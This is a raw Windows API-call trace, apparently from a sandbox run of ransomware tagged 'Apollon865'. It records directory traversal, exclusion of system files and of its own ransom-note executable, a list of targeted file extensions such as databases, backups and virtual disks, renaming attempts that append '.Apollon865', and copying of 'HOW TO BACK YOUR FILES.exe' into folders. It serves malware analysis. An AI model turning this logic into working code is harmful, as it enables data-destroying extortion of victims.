	[0084.979] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0084.979] lstrcmpiW (lpString1="tasks.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.979] lstrcmpiW (lpString1="tasks.xml", lpString2="Apollon865.txt.exe") returned 1
	[0084.979] lstrcpyW (in: lpString1=0x119e6b4, lpString2="tasks.xml" | out: lpString1="tasks.xml") returned="tasks.xml"
	[0084.979] lstrlenW (lpString="tasks.xml") returned 9
	[0084.979] lstrlenW (lpString="Apollon865") returned 10
	[0084.980] lstrlenW (lpString=".dll") returned 4
	[0084.980] lstrcmpiW (lpString1="tasks.xml", lpString2=".dll") returned 1
	[0084.980] lstrlenW (lpString=".lnk") returned 4
	[0084.980] lstrcmpiW (lpString1="tasks.xml", lpString2=".lnk") returned 1
	[0084.980] lstrlenW (lpString=".ini") returned 4
	[0084.980] lstrcmpiW (lpString1="tasks.xml", lpString2=".ini") returned 1
	[0084.980] lstrlenW (lpString=".sys") returned 4
	[0084.980] lstrcmpiW (lpString1="tasks.xml", lpString2=".sys") returned 1
	[0084.980] lstrlenW (lpString="tasks.xml") returned 9
	[0084.980] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0084.980] lstrcmpiW (lpString1="wmp.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.980] lstrcmpiW (lpString1="wmp.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.980] lstrcpyW (in: lpString1=0x119e6b4, lpString2="wmp.ico" | out: lpString1="wmp.ico") returned="wmp.ico"
	[0084.980] lstrlenW (lpString="wmp.ico") returned 7
	[0084.980] lstrlenW (lpString="Apollon865") returned 10
	[0084.980] lstrlenW (lpString=".dll") returned 4
	[0084.980] lstrcmpiW (lpString1="wmp.ico", lpString2=".dll") returned 1
	[0084.980] lstrlenW (lpString=".lnk") returned 4
	[0084.980] lstrcmpiW (lpString1="wmp.ico", lpString2=".lnk") returned 1
	[0084.980] lstrlenW (lpString=".ini") returned 4
	[0084.980] lstrcmpiW (lpString1="wmp.ico", lpString2=".ini") returned 1
	[0084.980] lstrlenW (lpString=".sys") returned 4
	[0084.980] lstrcmpiW (lpString1="wmp.ico", lpString2=".sys") returned 1
	[0084.980] lstrlenW (lpString="wmp.ico") returned 7
	[0084.980] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico.Apollon865") returned 104
	[0084.980] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.981] GetLastError () returned 0x5
	[0084.981] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico MoveFileEx error 5\r\n") returned 122
	[0084.981] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico MoveFileEx error 5\r\n") returned 122
	[0084.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.981] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5d8d
	[0084.981] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7a, lpOverlapped=0x0) returned 1
	[0084.981] CloseHandle (hObject=0x9c) returned 1
	[0084.981] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.981] CloseHandle (hObject=0x0) returned 0
	[0084.981] CloseHandle (hObject=0x0) returned 0
	[0084.981] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0
	[0084.982] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.982] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0084.982] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0084.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0084.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0084.982] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 91
	[0084.982] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0084.982] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.982] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.982] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.983] GetLastError () returned 0x0
	[0084.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.983] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.983] CloseHandle (hObject=0x10c) returned 1
	[0084.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.983] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.983] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.983] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.983] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.983] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.983] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.983] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.983] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.983] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.983] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.983] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe1b3f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.983] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.984] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="Apollon865.txt.exe") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="windows") returned -1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="bootmgr") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="temp") returned -1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="pagefile.sys") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="boot") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="ids.txt") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="ntuser.dat") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="perflogs") returned 1
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2="MSBuild") returned 1
	[0084.984] lstrlenW (lpString="resource.xml") returned 12
	[0084.984] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned 93
	[0084.984] lstrcpyW (in: lpString1=0x119e6c0, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0084.984] lstrlenW (lpString="resource.xml") returned 12
	[0084.984] lstrlenW (lpString="Apollon865") returned 10
	[0084.984] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0084.984] lstrlenW (lpString=".dll") returned 4
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0084.984] lstrlenW (lpString=".lnk") returned 4
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0084.984] lstrlenW (lpString=".ini") returned 4
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0084.984] lstrlenW (lpString=".sys") returned 4
	[0084.984] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0084.984] lstrlenW (lpString="resource.xml") returned 12
	[0084.984] lstrlenW (lpString="bak") returned 3
	[0084.984] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0084.984] lstrlenW (lpString="ba_") returned 3
	[0084.984] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0084.984] lstrlenW (lpString="dbb") returned 3
	[0084.984] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0084.984] lstrlenW (lpString="vmdk") returned 4
	[0084.984] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0084.984] lstrlenW (lpString="rar") returned 3
	[0084.984] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0084.985] lstrlenW (lpString="zip") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0084.985] lstrlenW (lpString="tgz") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0084.985] lstrlenW (lpString="vbox") returned 4
	[0084.985] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0084.985] lstrlenW (lpString="vdi") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0084.985] lstrlenW (lpString="vhd") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0084.985] lstrlenW (lpString="vhdx") returned 4
	[0084.985] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0084.985] lstrlenW (lpString="avhd") returned 4
	[0084.985] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0084.985] lstrlenW (lpString="db") returned 2
	[0084.985] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0084.985] lstrlenW (lpString="db2") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0084.985] lstrlenW (lpString="db3") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0084.985] lstrlenW (lpString="dbf") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0084.985] lstrlenW (lpString="mdf") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0084.985] lstrlenW (lpString="mdb") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0084.985] lstrlenW (lpString="sql") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0084.985] lstrlenW (lpString="sqlite") returned 6
	[0084.985] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1
	[0084.985] lstrlenW (lpString="sqlite3") returned 7
	[0084.985] lstrcmpiW (lpString1="rce.xml", lpString2="sqlite3") returned -1
	[0084.985] lstrlenW (lpString="sqlitedb") returned 8
	[0084.985] lstrcmpiW (lpString1="urce.xml", lpString2="sqlitedb") returned 1
	[0084.985] lstrlenW (lpString="xml") returned 3
	[0084.985] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0084.985] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0084.986] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.986] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7950
	[0084.986] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device"
	[0084.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0084.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0084.986] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned 48
	[0084.986] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device"
	[0084.986] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.986] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.986] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.987] GetLastError () returned 0x0
	[0084.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.987] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.987] CloseHandle (hObject=0x10c) returned 1
	[0084.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.987] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.987] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.987] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.987] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.987] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.987] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.987] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.987] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.987] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.987] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.987] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fe8d810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.987] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.987] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0084.987] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.987] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Apollon865.txt.exe") returned -1
	[0084.987] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2=".") returned 1
	[0084.987] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="..") returned 1
	[0084.987] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="windows") returned -1
	[0084.987] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="bootmgr") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="temp") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="pagefile.sys") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="boot") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="ids.txt") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="ntuser.dat") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="perflogs") returned -1
	[0084.988] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="MSBuild") returned -1
	[0084.988] lstrlenW (lpString="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 38
	[0084.988] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*") returned 50
	[0084.988] lstrcpyW (in: lpString1=0x119e66a, lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0084.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0084.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5c8f30
	[0084.988] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7950 | out: ListHead=0x5b75f0, ListEntry=0x5b7950) returned 0x5b7c30
	[0084.988] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Apollon865.txt.exe") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2=".") returned 1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="..") returned 1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="windows") returned -1
